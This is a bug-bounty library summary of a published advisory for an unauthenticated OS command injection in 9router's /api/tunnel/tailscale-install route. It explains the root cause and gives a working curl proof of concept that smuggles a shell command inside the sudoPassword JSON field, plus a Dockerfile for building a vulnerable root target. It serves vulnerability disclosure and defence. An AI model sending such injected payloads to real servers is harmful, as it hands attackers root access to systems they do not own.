# 9router: Missing Authorization and OS Command Injection

Unauthenticated POST to 9router's /api/tunnel/tailscale-install pipes attacker-controlled sudoPassword into `sudo -S sh` stdin, yielding root RCE when the Node process runs as root.

- Payout: Research
- Severity: critical
- Program: 9router
- Found by (vendor credit): Vũ Chí Thành (@vcth4nh), Huỳnh Đức Tin (@Ductinn)
- Found by: vcth4nh, Ductinn
- Disclosed: 2026-07-02
- CVE: CVE-2026-59800
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-g6g7-pvmx-m74p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g6g7-pvmx-m74p
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:nextjs tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Next.js API route /api/tunnel/tailscale-install
**Root cause:** The route is absent from the Next.js middleware matcher so dashboardGuard never runs, and the request-body sudoPassword is written to the stdin of a spawned `sudo -S sh` process, where it is interpreted as the first shell command.
**Steps:**
1. Note /api/tunnel/* is missing from the matcher list in `src/proxy.js`, so no auth guard runs.
2. POST JSON `{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}` to `/api/tunnel/tailscale-install`.
3. Handler passes body.sudoPassword to installTailscaleLinux, which spawns `sudo -S sh` and writes `${sudoPassword}\n` then the install.sh body to stdin.
4. When already root or NOPASSWD, sudo execs sh directly; sh runs the sudoPassword line as a command, then `exit 0` prevents the legit script from running.
5. Verify with `docker exec target cat /tmp/pwned.txt` showing `uid=0(root)`.
**How found:** Compared the middleware matcher list against the route tree and noticed the entire /api/tunnel/* family was unguarded, then read the install routine and saw request-body data written to a shell's stdin.
**Exploitation:** Single unauthenticated HTTP POST with no cookies or prior state; the injected sudoPassword line executes as the 9router process user (root in root-run Docker images, or operator user with NOPASSWD sudo), with `; exit 0` suppressing the legitimate install script.
**Escalation:** Root-run containers or NOPASSWD sudo configs turn the injection into remote root; a non-root NOPASSWD foothold reaches root via sudo.
**Insight:** In Next.js apps, auth enforced only via middleware matcher lists is bypassable by any route omitted from the list — diff the matcher against the app/api directory; also treat any spawn of `sudo -S sh` with piped stdin as command injection since the password line becomes shell input when sudo is cached/NOPASSWD.

## Proof of concept (copied exactly from the original report)

**Unauthenticated POST injecting sudoPassword command**

```
curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
     -H 'Content-Type: application/json' \
     -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'
```

**Dockerfile building vulnerable root target**

```
docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
        sudo curl ca-certificates \
    && rm -rf /var/lib/apt/lists/*
RUN npm install -g 9router@0.4.39
EXPOSE 20128
CMD ["9router"]
EOF
```

